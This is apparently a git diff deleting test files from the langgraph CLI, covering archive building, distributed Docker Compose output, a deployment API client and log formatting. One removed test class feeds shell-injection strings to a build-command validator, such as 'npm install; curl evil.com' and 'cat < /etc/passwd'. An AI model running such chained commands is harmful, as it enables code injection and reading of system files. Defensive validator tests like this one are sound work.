def test_adds_files_with_prefix(self, tmp_path):
project = self._create_project(tmp_path)
spec = _build_ignore_spec(project)
archive_path = tmp_path / "out.tar"
with tarfile.open(archive_path, "w") as tar:
_add_directory(tar, project, arcname_prefix="myapp", ignore_spec=spec)
with tarfile.open(archive_path, "r") as tar:
names = tar.getnames()
assert "myapp/main.py" in names
assert "myapp/lib/util.py" in names
def test_respects_custom_ignore_patterns(self, tmp_path):
project = self._create_project(tmp_path)
(project / ".gitignore").write_text("lib/\n")
spec = _build_ignore_spec(project)
archive_path = tmp_path / "out.tar"
with tarfile.open(archive_path, "w") as tar:
_add_directory(tar, project, arcname_prefix=None, ignore_spec=spec)
with tarfile.open(archive_path, "r") as tar:
names = tar.getnames()
assert "main.py" in names
assert "lib/util.py" not in names
# ---------------------------------------------------------------------------
# create_archive (integration)
# ---------------------------------------------------------------------------
class TestCreateArchive:
def _make_project(self, tmp_path):
"""Set up a minimal project directory with a config file."""
project = tmp_path / "myproject"
project.mkdir()
config_file = project / "langgraph.json"
config_file.write_text('{"dependencies": ["."]}')
(project / "app.py").write_text("print('hello')")
(project / "__pycache__").mkdir()
(project / "__pycache__" / "app.cpython-311.pyc").write_bytes(b"\x00")
return config_file
@patch("langgraph_cli.archive._assemble_local_deps")
def test_yields_archive_with_config(self, mock_deps, tmp_path):
from langgraph_cli.config import LocalDeps
config_file = self._make_project(tmp_path)
mock_deps.return_value = LocalDeps(
pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
)
with create_archive(config_file, {}) as (archive_path, file_size, config_rel):
assert os.path.isfile(archive_path)
assert archive_path.endswith(".tar.gz")
assert file_size > 0
assert config_rel == "langgraph.json"
with tarfile.open(archive_path, "r:gz") as tar:
names = tar.getnames()
assert "langgraph.json" in names
assert "app.py" in names
@patch("langgraph_cli.archive._assemble_local_deps")
def test_excludes_pycache(self, mock_deps, tmp_path):
from langgraph_cli.config import LocalDeps
config_file = self._make_project(tmp_path)
mock_deps.return_value = LocalDeps(
pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
)
with create_archive(config_file, {}) as (archive_path, _size, _rel):
with tarfile.open(archive_path, "r:gz") as tar:
names = tar.getnames()
assert not any("__pycache__" in n for n in names)
@patch("langgraph_cli.archive._assemble_local_deps")
def test_cleans_up_tmp_dir_on_normal_exit(self, mock_deps, tmp_path):
from langgraph_cli.config import LocalDeps
config_file = self._make_project(tmp_path)
mock_deps.return_value = LocalDeps(
pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
)
with create_archive(config_file, {}) as (archive_path, _size, _rel):
tmp_dir = os.path.dirname(archive_path)
assert os.path.isdir(tmp_dir)
assert not os.path.exists(tmp_dir)
@patch("langgraph_cli.archive._assemble_local_deps")
def test_cleans_up_tmp_dir_on_exception(self, mock_deps, tmp_path):
from langgraph_cli.config import LocalDeps
config_file = self._make_project(tmp_path)
mock_deps.return_value = LocalDeps(
pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
)
with pytest.raises(RuntimeError, match="boom"):
with create_archive(config_file, {}) as (archive_path, _size, _rel):
tmp_dir = os.path.dirname(archive_path)
raise RuntimeError("boom")
assert not os.path.exists(tmp_dir)
@patch("langgraph_cli.archive._assemble_local_deps")
@patch("langgraph_cli.archive._MAX_SIZE", 10)
def test_raises_on_oversized_archive(self, mock_deps, tmp_path):
from langgraph_cli.config import LocalDeps
config_file = self._make_project(tmp_path)
mock_deps.return_value = LocalDeps(
pip_reqs=[], real_pkgs={}, faux_pkgs={}, additional_contexts=None
)
with pytest.raises(click.ClickException, match="exceeds the 200 MB limit"):
with create_archive(config_file, {}):
pass
@patch("langgraph_cli.archive._assemble_local_deps")
def test_handles_extra_contexts(self, mock_deps, tmp_path):
"""Monorepo case: project + sibling dependency directory."""
from langgraph_cli.config import LocalDeps
project = tmp_path / "myproject"
project.mkdir()
config_file = project / "langgraph.json"
config_file.write_text('{"dependencies": [".", "../shared"]}')
(project / "app.py").write_text("print('hello')")
shared = tmp_path / "shared"
shared.mkdir()
(shared / "lib.py").write_text("y = 2")
mock_deps.return_value = LocalDeps(
pip_reqs=[],
real_pkgs={},
faux_pkgs={},
additional_contexts=[shared],
)
with create_archive(config_file, {}) as (archive_path, _size, config_rel):
with tarfile.open(archive_path, "r:gz") as tar:
names = tar.getnames()
assert "myproject/app.py" in names
assert "shared/lib.py" in names
assert config_rel == "myproject/langgraph.json"
-238
View File
@@ -13,9 +13,7 @@ from langgraph_cli.config import (
_get_pip_cleanup_lines,
config_to_compose,
config_to_docker,
default_base_image,
docker_tag,
has_disallowed_build_command_content,
validate_config,
validate_config_file,
)
@@ -1694,239 +1692,3 @@ def test_config_to_compose_with_api_version():
# Check that the compose file includes the correct FROM line with api_version
assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
def test_default_base_image_combined_mode():
"""Test default_base_image returns langgraph-api for combined_queue_worker mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
}
)
assert default_base_image(config) == "langchain/langgraph-api"
assert (
default_base_image(config, engine_runtime_mode="combined_queue_worker")
== "langchain/langgraph-api"
)
def test_default_base_image_distributed_mode():
"""Test default_base_image returns langgraph-executor for distributed mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
}
)
assert (
default_base_image(config, engine_runtime_mode="distributed")
== "langchain/langgraph-executor"
)
def test_default_base_image_distributed_with_explicit_base():
"""Test default_base_image returns explicit base_image even in distributed mode."""
config = validate_config(
{
"dependencies": ["."],
"graphs": {"agent": "./agent.py:graph"},
"base_image": "my-custom-image:latest",
}
)
assert (
default_base_image(config, engine_runtime_mode="distributed")
== "my-custom-image:latest"
)
def test_default_base_image_nodejs():
"""Test default_base_image returns langgraphjs-api for Node.js config."""
config = validate_config(
{
"node_version": "20",
"graphs": {"agent": "./agent.js:graph"},
}
)
assert default_base_image(config) == "langchain/langgraphjs-api"
def test_config_to_docker_executor_base_image():
"""Test config_to_docker with executor base image for distributed mode."""
graphs = {"agent": "./agent.py:graph"}
config = validate_config({"dependencies": ["."], "graphs": graphs})
actual_docker_stdin, _ = config_to_docker(
PATH_TO_CONFIG,
config,
base_image="langchain/langgraph-executor",
)
assert "FROM langchain/langgraph-executor:3.11" in actual_docker_stdin
assert "LANGSERVE_GRAPHS=" in actual_docker_stdin
def test_config_to_compose_distributed_mode():
"""Test config_to_compose with engine_runtime_mode='distributed'."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# API service uses langchain/langgraph-api base image
assert "FROM langchain/langgraph-api:3.11" in actual_compose_stdin
# Orchestrator service is present
assert "langgraph-orchestrator:" in actual_compose_stdin
assert "EXECUTOR_TARGET: langgraph-executor:8188" in actual_compose_stdin
# Executor service is present with correct base image
assert "langgraph-executor:" in actual_compose_stdin
assert "FROM langchain/langgraph-executor:3.11" in actual_compose_stdin
assert (
'entrypoint: ["sh", "/storage/executor_entrypoint.sh"]' in actual_compose_stdin
)
# Executor has required environment variables
assert "EXECUTOR_GRPC_PORT:" in actual_compose_stdin
assert "ENGINE_GRPC_ADDRESS:" in actual_compose_stdin
assert "LSD_GRPC_SERVER_ADDRESS:" in actual_compose_stdin
assert 'LANGGRAPH_HTTP: ""' in actual_compose_stdin
assert "REDIS_URI: redis://langgraph-redis:6379" in actual_compose_stdin
def test_config_to_compose_distributed_mode_with_env_file():
"""Test config_to_compose distributed mode propagates env_file to all services."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs, "env": ".env"}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# env_file should appear multiple times: API, orchestrator, executor
env_file_count = actual_compose_stdin.count("env_file: .env")
assert env_file_count == 3, (
f"Expected env_file to appear 3 times (api, orchestrator, executor), "
f"got {env_file_count}"
)
def test_config_to_compose_distributed_mode_generates_two_dockerfiles():
"""Test that distributed mode generates separate Dockerfiles for API and executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# Should contain two different FROM lines
from_lines = [
line.strip()
for line in actual_compose_stdin.splitlines()
if line.strip().startswith("FROM ")
]
assert len(from_lines) == 2
assert "FROM langchain/langgraph-api:3.11" in from_lines[0]
assert "FROM langchain/langgraph-executor:3.11" in from_lines[1]
def test_config_to_compose_combined_mode_no_orchestrator():
"""Test that combined_queue_worker mode does NOT generate orchestrator/executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="combined_queue_worker",
)
assert "langgraph-orchestrator:" not in actual_compose_stdin
assert "langgraph-executor:" not in actual_compose_stdin
def test_config_to_compose_default_mode_no_orchestrator():
"""Test that default mode (no engine_runtime_mode) has no orchestrator/executor."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
)
assert "langgraph-orchestrator:" not in actual_compose_stdin
assert "langgraph-executor:" not in actual_compose_stdin
def test_config_to_compose_distributed_executor_gets_correct_paths():
"""Test that executor Dockerfile gets correct host paths despite API Dockerfile
mutation. This validates the deep copy fix in config_to_compose -- without it,
the executor's config_to_docker call would see already-mutated container paths
from the API's config_to_docker call, causing FileNotFoundError."""
graphs = {"agent": "./agent.py:graph"}
actual_compose_stdin = config_to_compose(
PATH_TO_CONFIG,
validate_config({"dependencies": ["."], "graphs": graphs}),
"langchain/langgraph-api",
engine_runtime_mode="distributed",
)
# Both API and executor Dockerfiles should contain valid LANGSERVE_GRAPHS
# referencing container paths (not host paths). If the deep copy was missing,
# the executor Dockerfile would fail to generate or have wrong paths.
from_lines = [
line.strip()
for line in actual_compose_stdin.splitlines()
if "LANGSERVE_GRAPHS=" in line.strip()
]
assert len(from_lines) == 2, (
f"Expected 2 LANGSERVE_GRAPHS lines (api + executor), got {len(from_lines)}"
)
class TestHasDisallowedBuildCommandContent:
"""Tests for has_disallowed_build_command_content."""
@pytest.mark.parametrize(
"char",
['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
)
def test_disallowed_chars_rejected(self, char: str) -> None:
assert has_disallowed_build_command_content(f"npm install{char}some-package")
@pytest.mark.parametrize(
"cmd",
[
"pip install foo | curl attacker.com",
"npm install; curl evil.com",
"pip install $(whoami)",
"pip install ${IFS}evil",
"curl evil.com & disown",
"npm install & curl evil.com",
"pip install > /dev/null",
"cat < /etc/passwd",
],
)
def test_injection_patterns_rejected(self, cmd: str) -> None:
assert has_disallowed_build_command_content(cmd)
def test_single_ampersand_rejected(self) -> None:
assert has_disallowed_build_command_content("npm install & curl evil.com")
def test_double_ampersand_allowed(self) -> None:
assert not has_disallowed_build_command_content("npm install && npm run build")
@pytest.mark.parametrize(
"cmd",
[
"npm install",
"pnpm install --frozen-lockfile",
"next build && next export",
"npm ci && npm run build",
"pip install -e '.[dev]'",
],
)
def test_valid_commands_allowed(self, cmd: str) -> None:
assert not has_disallowed_build_command_content(cmd)
@@ -1,273 +0,0 @@
import base64
import json
import os
import click
import httpx
import pytest
from langgraph_cli.deploy import (
_call_host_backend_with_optional_tenant,
_docker_config_for_token,
_env_without_deployment_name,
_parse_env_from_config,
_resolve_env_path,
normalize_image_name,
normalize_image_tag,
)
from langgraph_cli.host_backend import HostBackendClient, HostBackendError
class TestDockerConfigForToken:
def test_creates_config_json(self):
with _docker_config_for_token("us-docker.pkg.dev", "my-token") as cfg:
config_path = os.path.join(cfg, "config.json")
assert os.path.isfile(config_path)
with open(config_path) as f:
data = json.load(f)
expected_auth = base64.b64encode(b"oauth2accesstoken:my-token").decode()
assert data == {"auths": {"us-docker.pkg.dev": {"auth": expected_auth}}}
def test_tempdir_cleaned_up(self):
with _docker_config_for_token("registry.example.com", "tok") as cfg:
assert os.path.isdir(cfg)
assert not os.path.exists(cfg)
def test_different_registries(self):
with _docker_config_for_token("gcr.io", "token123") as cfg:
with open(os.path.join(cfg, "config.json")) as f:
data = json.load(f)
assert "gcr.io" in data["auths"]
class TestNormalizeImageName:
def test_simple_name(self):
assert normalize_image_name("myapp") == "myapp"
def test_uppercase_lowered(self):
assert normalize_image_name("MyApp") == "myapp"
def test_special_chars_replaced(self):
assert normalize_image_name("my app!@#v2") == "my-app-v2"
def test_dots_and_hyphens_kept(self):
assert normalize_image_name("my-app.v2") == "my-app.v2"
def test_leading_trailing_stripped(self):
assert normalize_image_name("--my-app..") == "my-app"
def test_empty_string_returns_app(self):
assert normalize_image_name("") == "app"
def test_none_returns_app(self):
assert normalize_image_name(None) == "app"
def test_all_invalid_chars_returns_app(self):
assert normalize_image_name("!!!") == "app"
class TestNormalizeImageTag:
def test_valid_tag(self):
assert normalize_image_tag("v1.2.3") == "v1.2.3"
def test_empty_defaults_to_latest(self):
assert normalize_image_tag("") == "latest"
def test_alphanumeric_and_special(self):
assert normalize_image_tag("my_tag-1.0") == "my_tag-1.0"
def test_invalid_chars_raises(self):
with pytest.raises(click.UsageError, match="Image tag may only contain"):
normalize_image_tag("v1.0:bad")
def test_spaces_raises(self):
with pytest.raises(click.UsageError, match="Image tag may only contain"):
normalize_image_tag("has space")
class TestParseEnvFromConfig:
def test_env_dict(self, tmp_path):
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": {"FOO": "bar", "NUM": 42}}, config_path)
assert result == {"FOO": "bar", "NUM": "42"}
def test_env_string_dotenv_file(self, tmp_path):
env_file = tmp_path / "my.env"
env_file.write_text("KEY1=val1\nKEY2=val2\n")
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": "my.env"}, config_path)
assert result == {"KEY1": "val1", "KEY2": "val2"}
def test_env_missing_falls_back_to_dotenv(self, tmp_path, monkeypatch):
env_file = tmp_path / ".env"
env_file.write_text("DEFAULT_KEY=default_val\n")
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({}, config_path)
assert result == {"DEFAULT_KEY": "default_val"}
def test_env_empty_dict_falls_back_to_dotenv(self, tmp_path, monkeypatch):
"""validate_config defaults env to {}, should still fall back to .env."""
env_file = tmp_path / ".env"
env_file.write_text("MY_KEY=my_val\n")
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": {}}, config_path)
assert result == {"MY_KEY": "my_val"}
def test_env_missing_no_dotenv_returns_empty(self, tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({}, config_path)
assert result == {}
def test_env_dotenv_filters_none_values(self, tmp_path):
# Lines like "KEY=" produce empty string, lines like "KEY" produce None
env_file = tmp_path / "test.env"
env_file.write_text("GOOD=value\nEMPTY=\n")
config_path = tmp_path / "langgraph.json"
config_path.touch()
result = _parse_env_from_config({"env": "test.env"}, config_path)
assert "GOOD" in result
assert result["GOOD"] == "value"
# EMPTY= gives empty string, not None, so it should be present
assert result["EMPTY"] == ""
class TestResolveEnvPath:
def test_inline_env_dict_returns_none(self, tmp_path):
config_path = tmp_path / "langgraph.json"
config_path.touch()
assert _resolve_env_path({"env": {"FOO": "bar"}}, config_path) is None
def test_relative_env_path_resolves(self, tmp_path):
env_file = tmp_path / "custom.env"
env_file.write_text("FOO=bar\n")
config_path = tmp_path / "langgraph.json"
config_path.touch()
resolved = _resolve_env_path({"env": "custom.env"}, config_path)
assert resolved == env_file.resolve()
def test_missing_env_file_returns_none(self, tmp_path):
config_path = tmp_path / "langgraph.json"
config_path.touch()
assert _resolve_env_path({"env": "missing.env"}, config_path) is None
def test_default_env_is_cwd_dotenv(self, tmp_path, monkeypatch):
monkeypatch.chdir(tmp_path)
config_path = tmp_path / "langgraph.json"
config_path.touch()
assert _resolve_env_path({}, config_path) == tmp_path / ".env"
class TestEnvWithoutDeploymentName:
def test_removes_deployment_name_only(self):
env = {
"LANGSMITH_DEPLOYMENT_NAME": "my-deploy",
"KEEP_ME": "value",
}
cleaned = _env_without_deployment_name(env)
assert "LANGSMITH_DEPLOYMENT_NAME" not in cleaned
assert cleaned["KEEP_ME"] == "value"
# Original dict should be unchanged.
assert env["LANGSMITH_DEPLOYMENT_NAME"] == "my-deploy"
def test_noop_when_deployment_name_absent(self):
env = {"FOO": "bar"}
assert _env_without_deployment_name(env) == {"FOO": "bar"}
class TestCallHostBackendWithOptionalTenant:
def _make_client(self, handler):
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def _make_eu_client(self, handler):
c = HostBackendClient("https://eu.api.host.langchain.com", "test-key")
c._client = httpx.Client(
base_url="https://eu.api.host.langchain.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def test_success_passes_through(self):
client = self._make_client(lambda req: httpx.Response(200, json={"ok": True}))
result = _call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert result == {"ok": True}
def test_403_not_enabled_gives_actionable_error(self):
detail = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
client = self._make_client(lambda req: httpx.Response(403, text=detail))
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert exc_info.value.status_code == 403
assert "smith.langchain.com" in exc_info.value.message
def test_403_not_enabled_eu_url(self):
detail = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
client = self._make_eu_client(lambda req: httpx.Response(403, text=detail))
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert "eu.smith.langchain.com" in exc_info.value.message
def test_workspace_retry_then_not_enabled_gives_actionable_error(self, monkeypatch):
requires_workspace = '{"detail":"requires workspace specification"}'
not_enabled = (
'{"detail":"LangSmith Deployment is not enabled for this organization"}'
)
seen_tenant_ids = []
def handler(req):
seen_tenant_ids.append(req.headers.get("X-Tenant-ID"))
if len(seen_tenant_ids) == 1:
return httpx.Response(403, text=requires_workspace)
if len(seen_tenant_ids) == 2:
return httpx.Response(403, text=not_enabled)
raise AssertionError("unexpected extra request")
monkeypatch.setattr(click, "prompt", lambda _text: "workspace-123")
client = self._make_client(handler)
with pytest.raises(HostBackendError, match="not enabled") as exc_info:
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
assert exc_info.value.status_code == 403
assert "smith.langchain.com" in exc_info.value.message
assert seen_tenant_ids == [None, "workspace-123"]
assert client._client.headers["X-Tenant-ID"] == "workspace-123"
def test_other_403_re_raises_original(self):
client = self._make_client(
lambda req: httpx.Response(403, text='{"detail":"some other error"}')
)
with pytest.raises(HostBackendError, match="some other error"):
_call_host_backend_with_optional_tenant(
client, lambda c: c.list_deployments()
)
-55
View File
@@ -368,61 +368,6 @@ services:
assert clean_empty_lines(actual_compose_str) == expected_compose_str
def test_compose_distributed_mode_with_custom_db():
"""Test compose with engine_runtime_mode='distributed' adds N_JOBS_PER_WORKER=0."""
port = 8123
custom_postgres_uri = "custom_postgres_uri"
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
postgres_uri=custom_postgres_uri,
engine_runtime_mode="distributed",
)
expected_compose_str = f"""services:
langgraph-redis:
image: redis:6
healthcheck:
test: redis-cli ping
interval: 5s
timeout: 1s
retries: 5
langgraph-api:
ports:
- "{port}:8000"
depends_on:
langgraph-redis:
condition: service_healthy
environment:
REDIS_URI: redis://langgraph-redis:6379
POSTGRES_URI: {custom_postgres_uri}
N_JOBS_PER_WORKER: "0\""""
assert clean_empty_lines(actual_compose_str) == expected_compose_str
def test_compose_distributed_mode_with_default_db():
"""Test compose distributed mode with default DB includes N_JOBS_PER_WORKER=0."""
port = 8123
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
engine_runtime_mode="distributed",
)
assert 'N_JOBS_PER_WORKER: "0"' in actual_compose_str
assert "langgraph-postgres:" in actual_compose_str
assert "langgraph-redis:" in actual_compose_str
def test_compose_combined_mode_has_no_n_jobs():
"""Test compose with default combined_queue_worker mode does NOT set N_JOBS_PER_WORKER."""
port = 8123
actual_compose_str = compose(
DEFAULT_DOCKER_CAPABILITIES,
port=port,
engine_runtime_mode="combined_queue_worker",
)
assert "N_JOBS_PER_WORKER" not in actual_compose_str
@pytest.mark.parametrize(
"input_str,expected",
[
@@ -1,224 +0,0 @@
import httpx
import pytest
from langgraph_cli.host_backend import HostBackendClient, HostBackendError
@pytest.fixture
def mock_transport():
return httpx.MockTransport(lambda req: httpx.Response(200, json={"ok": True}))
@pytest.fixture
def client(mock_transport):
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=mock_transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
return c
def test_constructor_strips_trailing_slash():
c = HostBackendClient("https://api.example.com/", "key")
assert str(c._client.base_url) == "https://api.example.com"
def test_constructor_empty_url_raises():
with pytest.raises(Exception, match="Host backend URL is required"):
HostBackendClient("", "key")
def test_request_sends_headers():
def handler(req: httpx.Request) -> httpx.Response:
assert req.headers["x-api-key"] == "test-key"
assert req.headers["accept"] == "application/json"
return httpx.Response(200, json={"ok": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c._request("GET", "/test")
assert result == {"ok": True}
def test_request_sends_json_payload():
def handler(req: httpx.Request) -> httpx.Response:
assert req.headers["content-type"] == "application/json"
assert req.content == b'{"key":"value"}'
return httpx.Response(200, json={"created": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c._request("POST", "/test", {"key": "value"})
assert result == {"created": True}
def test_request_empty_body_returns_none():
transport = httpx.MockTransport(lambda req: httpx.Response(200, content=b""))
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
assert c._request("DELETE", "/test") is None
def test_request_http_error_raises():
transport = httpx.MockTransport(lambda req: httpx.Response(404, text="not found"))
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="404"):
c._request("GET", "/missing")
def test_request_invalid_json_raises():
transport = httpx.MockTransport(
lambda req: httpx.Response(200, content=b"not json")
)
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=transport,
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="Failed to decode"):
c._request("GET", "/bad-json")
def test_request_transport_error_raises():
def handler(req: httpx.Request) -> httpx.Response:
raise httpx.ConnectError("connection refused")
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
with pytest.raises(HostBackendError, match="connection refused"):
c._request("GET", "/test")
def test_create_deployment(client):
result = client.create_deployment(
name="my-deploy", deployment_type="dev", source="internal_docker"
)
assert result == {"ok": True}
def test_get_deployment(client):
result = client.get_deployment("dep-123")
assert result == {"ok": True}
def test_list_deployments(client):
result = client.list_deployments("my-app")
assert result == {"ok": True}
def test_list_deployments_sends_query_params():
def handler(req: httpx.Request) -> httpx.Response:
assert req.url.path == "/v2/deployments"
assert req.url.params["name_contains"] == "my app"
return httpx.Response(200, json={"ok": True})
c = HostBackendClient("https://api.example.com", "test-key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "test-key", "Accept": "application/json"},
timeout=30,
)
result = c.list_deployments("my app")
assert result == {"ok": True}
def test_delete_deployment(client):
result = client.delete_deployment("dep-123")
assert result == {"ok": True}
def test_request_push_token(client):
result = client.request_push_token("dep-123")
assert result == {"ok": True}
def test_update_deployment(client):
result = client.update_deployment(
"dep-123", "image:latest", secrets=[{"name": "KEY", "value": "val"}]
)
assert result == {"ok": True}
def test_update_deployment_no_secrets(client):
result = client.update_deployment("dep-123", "image:latest")
assert result == {"ok": True}
def test_list_revisions(client):
result = client.list_revisions("dep-123", limit=5)
assert result == {"ok": True}
def test_get_revision(client):
result = client.get_revision("dep-123", "rev-456")
assert result == {"ok": True}
def test_get_build_logs(client):
result = client.get_build_logs("proj-1", "rev-1", {"limit": 10})
assert result == {"ok": True}
def test_get_deploy_logs_all_revisions():
def handler(req: httpx.Request) -> httpx.Response:
assert "/v1/projects/proj-1/deploy_logs" in str(req.url)
assert "/revisions/" not in str(req.url)
return httpx.Response(200, json={"logs": [{"message": "running"}]})
c = HostBackendClient("https://api.example.com", "key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "key", "Accept": "application/json"},
timeout=30,
)
result = c.get_deploy_logs("proj-1", {"limit": 10})
assert result == {"logs": [{"message": "running"}]}
def test_get_deploy_logs_specific_revision():
def handler(req: httpx.Request) -> httpx.Response:
assert "/v1/projects/proj-1/revisions/rev-2/deploy_logs" in str(req.url)
return httpx.Response(200, json={"logs": []})
c = HostBackendClient("https://api.example.com", "key")
c._client = httpx.Client(
base_url="https://api.example.com",
transport=httpx.MockTransport(handler),
headers={"X-Api-Key": "key", "Accept": "application/json"},
timeout=30,
)
result = c.get_deploy_logs("proj-1", {"limit": 10}, revision_id="rev-2")
assert result == {"logs": []}
@@ -1,58 +0,0 @@
from langgraph_cli.deploy import format_log_entry, format_timestamp, level_fg
class TestFormatTimestamp:
def test_epoch_ms(self):
assert format_timestamp(1773119644012) == "2026-03-10 05:14:04"
def test_string_passthrough(self):
assert format_timestamp("2026-03-08T00:00:00Z") == "2026-03-08T00:00:00Z"
def test_empty(self):
assert format_timestamp("") == ""
def test_none(self):
assert format_timestamp(None) == ""
class TestFormatLogEntry:
def test_full_entry_epoch(self):
entry = {"timestamp": 1773119644012, "level": "ERROR", "message": "boom"}
result = format_log_entry(entry)
assert result == "[2026-03-10 05:14:04] [ERROR] boom"
def test_full_entry_string(self):
entry = {
"timestamp": "2026-03-08T12:00:00Z",
"level": "ERROR",
"message": "boom",
}
assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] [ERROR] boom"
def test_no_level(self):
entry = {"timestamp": "2026-03-08T12:00:00Z", "message": "hello"}
assert format_log_entry(entry) == "[2026-03-08T12:00:00Z] hello"
def test_no_timestamp(self):
entry = {"message": "bare message"}
assert format_log_entry(entry) == "bare message"
def test_empty_entry(self):
assert format_log_entry({}) == ""
class TestLevelFg:
def test_error(self):
assert level_fg("ERROR") == "red"
def test_error_lowercase(self):
assert level_fg("error") == "red"
def test_warning(self):
assert level_fg("WARNING") == "yellow"
def test_info_returns_none(self):
assert level_fg("INFO") is None
def test_empty_returns_none(self):
assert level_fg("") is None
-69
View File
@@ -1,10 +1,5 @@
from unittest.mock import patch
from langgraph_cli.deploy import (
_extract_deployment_url,
format_deployments_table,
format_revisions_table,
)
from langgraph_cli.util import clean_empty_lines, warn_non_wolfi_distro
@@ -191,67 +186,3 @@ def test_warn_non_wolfi_distro_does_not_modify_config():
warn_non_wolfi_distro(config_copy)
assert config_copy == original_config # Config should remain unchanged
def test_extract_deployment_url_uses_custom_url():
deployment = {"source_config": {"custom_url": "https://example.com/custom"}}
assert _extract_deployment_url(deployment) == "https://example.com/custom"
def test_extract_deployment_url_defaults_to_dash():
assert _extract_deployment_url({"id": "dep-123"}) == "-"
def test_format_deployments_table():
output = format_deployments_table(
[
{
"id": "dep-123",
"name": "alpha",
"source_config": {"custom_url": "https://alpha.example.com"},
},
{
"id": "dep-456",
"name": "beta",
"url": "https://beta.example.com",
},
]
)
assert "Deployment ID" in output
assert "Deployment Name" in output
assert "Deployment URL" in output
assert "dep-123" in output
assert "alpha" in output
assert "https://alpha.example.com" in output
assert "dep-456" in output
def test_format_revisions_table():
output = format_revisions_table(
[
{
"id": "rev-123",
"status": "DEPLOYED",
"created_at": "2023-11-09T10:00:00Z",
},
{
"id": "rev-456",
"status": "CREATING",
"created_at": "2023-11-07T05:31:56Z",
},
{
"id": "rev-789",
"status": "DEPLOYED",
"created_at": "2023-11-08T10:00:00Z",
},
]
)
assert "Revision ID" in output
assert "Status" in output
assert "Created At" in output
assert "rev-123" in output
assert "CREATING" in output
assert "2023-11-07T05:31:56Z" in output
assert "rev-456" in output
assert "rev-789" in output
assert "REPLACED" in output
+87 -91
View File
@@ -1,5 +1,5 @@
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[[package]]
+12 -22
View File
@@ -1,27 +1,17 @@
<div align="center">
<a href="https://www.langchain.com/langgraph">
<picture>
